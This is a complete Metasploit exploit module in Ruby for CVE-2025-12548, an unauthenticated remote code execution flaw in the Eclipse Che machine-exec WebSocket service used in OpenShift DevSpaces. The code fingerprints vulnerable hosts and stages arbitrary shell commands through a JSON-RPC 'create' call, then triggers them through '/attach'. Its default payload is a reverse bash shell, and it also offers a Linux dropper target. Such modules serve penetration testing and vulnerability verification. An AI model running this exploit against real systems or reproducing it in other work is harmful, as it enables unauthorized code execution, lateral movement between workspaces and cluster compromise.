Eclipse Che machine-exec Unauthenticated RCE

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Rex::Proto::Http::WebSocket
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Eclipse Che machine-exec Unauthenticated RCE',
        'Description' => %q{
          This module exploits an unauthenticated remote code execution vulnerability
          in the Eclipse Che machine-exec service (CVE-2025-12548). The machine-exec
          service, exposed on port 3333 within Red Hat OpenShift DevSpaces developer
          workspace containers, accepts WebSocket connections without authentication.

          An attacker can connect to the machine-exec service and execute arbitrary
          commands via JSON-RPC over WebSocket. This allows lateral movement between
          workspaces and potential cluster compromise.

          The vulnerability affects Red Hat OpenShift DevSpaces environments where
          the machine-exec service is network-accessible.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Richard Leach',                                    # Vulnerability discovery
          'Greg Durys <[email protected]>'         # PoC and Metasploit module
        ],
        'References' => [
          ['CVE', '2025-12548'],
          ['URL', 'https://access.redhat.com/security/cve/cve-2025-12548'],
          ['URL', 'https://github.com/eclipse-che/che-machine-exec']
        ],
        'DisclosureDate' => '2025-12-01',
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64],
              'Type' => :linux_dropper
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 3333,
          'WfsDelay' => 10
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path to machine-exec service', '/']),
      OptInt.new('WS_TIMEOUT', [true, 'Timeout for WebSocket operations (seconds)', 10])
    ])
  end

  # Safely close a WebSocket connection, ignoring any errors
  def safe_wsclose(wsock)
    wsock&.wsclose
  rescue StandardError
    nil
  end

  # Connect to WebSocket and return socket plus any leftover data from HTTP response.
  # The machine-exec server sends the hello message immediately after the upgrade,
  # which gets absorbed into the HTTP response body during parsing.
  def connect_ws_with_leftover(uri)
    ws_key = Rex::Text.encode_base64(SecureRandom.bytes(16))

    http_client = connect
    raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'Failed to connect') if http_client.nil?

    req = http_client.request_raw({
      'uri' => uri,
      'headers' => {
        'Connection' => 'Upgrade',
        'Upgrade' => 'websocket',
        'Sec-WebSocket-Version' => '13',
        'Sec-WebSocket-Key' => ws_key
      }
    })

    http_client.send_request(req)
    res = http_client.read_response(datastore['WS_TIMEOUT'])

    unless res&.code == 101
      http_client.close
      raise Rex::Proto::Http::WebSocket::ConnectionError.new(http_response: res)
    end

    # WebSocket GUID (see: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Sec-WebSocket-Accept)
    accept_key = Rex::Text.encode_base64(OpenSSL::Digest::SHA1.digest(ws_key + '258EAFA5-E914-47DA-95CA-C5AB0DC85B11'))
    unless res.headers['Sec-WebSocket-Accept'] == accept_key
      http_client.close
      raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'Invalid Sec-WebSocket-Accept header', http_response: res)
    end

    socket = http_client.conn
    socket.extend(Rex::Proto::Http::WebSocket::Interface)

    leftover = res.body.to_s
    vprint_status("Response body length: #{leftover.length}, body: #{leftover[0..100].inspect}")

    # The hello frame may arrive in the HTTP response body or shortly after.
    # If absorbed into the body, parse the raw frame bytes to extract the payload.
    # Otherwise, read a frame from the socket directly.
    if leftover.present?
      hello = parse_ws_frame(leftover)
    else
      frame = begin
        ::Timeout.timeout(datastore['WS_TIMEOUT']) { socket.get_wsframe }
      rescue ::Timeout::Error
        nil
      end
      if frame
        frame.unmask! if frame.header.masked == 1
        hello = frame.payload_data.to_s
      end
    end

    [socket, hello]
  end

  # Parse a WebSocket frame from raw data
  def parse_ws_frame(data)
    return nil if data.blank?

    frame = Rex::Proto::Http::WebSocket::Frame.new
    frame.read(data)
    frame.unmask! if frame.header.masked == 1
    frame.payload_data.to_s
  end

  def check
    begin
      wsock, hello = connect_ws_with_leftover(normalize_uri(target_uri.path, 'connect'))
    rescue Rex::Proto::Http::WebSocket::ConnectionError => e
      return CheckCode::Unknown("WebSocket connection failed: #{e.message}")
    end

    if hello.blank?
      safe_wsclose(wsock)
      return CheckCode::Unknown('No hello message received from service')
    end

    begin
      json = JSON.parse(hello)
      if json['method'] == 'connected' && json.dig('params', 'tunnel')
        safe_wsclose(wsock)
        return CheckCode::Appears('machine-exec service accepts unauthenticated connections')
      end
    rescue JSON::ParserError
      nil
    end

    safe_wsclose(wsock)
    CheckCode::Safe('Service did not respond as expected')
  end

  def exploit
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

  def execute_command(cmd, _opts = {})
    print_status('Connecting to machine-exec service...')

    begin
      wsock, hello = connect_ws_with_leftover(normalize_uri(target_uri.path, 'connect'))
    rescue Rex::Proto::Http::WebSocket::ConnectionError => e
      fail_with(Failure::Unreachable, "WebSocket connection failed: #{e.message}")
    end

    print_good('Connected to machine-exec service')

    if hello.blank?
      safe_wsclose(wsock)
      fail_with(Failure::UnexpectedReply, 'No hello message received')
    end
    vprint_status("Received hello: #{hello}")

    print_status('Staging payload via JSON-RPC create method...')

    create_request = {
      'jsonrpc' => '2.0',
      'method' => 'create',
      'params' => {
        'cmd' => ['sh', '-c', cmd],
        'type' => 'process'
      },
      'id' => 1
    }

    wsock.put_wstext(create_request.to_json)

    frame = begin
      ::Timeout.timeout(datastore['WS_TIMEOUT']) { wsock.get_wsframe }
    rescue ::Timeout::Error
      nil
    end

    if frame.nil?
      safe_wsclose(wsock)
      fail_with(Failure::UnexpectedReply, 'No response to create request')
    end

    frame.unmask! if frame.header.masked == 1
    response_data = frame.payload_data.to_s

    begin
      response = JSON.parse(response_data)
      process_id = response['result']
      if process_id.nil?
        error_msg = response.dig('error', 'message') || 'Unknown error'
        safe_wsclose(wsock)
        fail_with(Failure::UnexpectedReply, "Failed to stage command: #{error_msg}")
      end
      print_good("Command staged with process ID: #{process_id}")
    rescue JSON::ParserError
      safe_wsclose(wsock)
      fail_with(Failure::UnexpectedReply, 'Invalid JSON response')
    end

    safe_wsclose(wsock)

    print_status("Triggering execution via /attach/#{process_id}...")

    begin
      wsock_attach = connect_ws({
        'uri' => normalize_uri(target_uri.path, 'attach', process_id.to_s)
      })
      print_good('Payload triggered!')
    rescue Rex::Proto::Http::WebSocket::ConnectionError => e
      fail_with(Failure::UnexpectedReply, "Failed to trigger execution: #{e.message}")
    end

    safe_wsclose(wsock_attach)
  end
end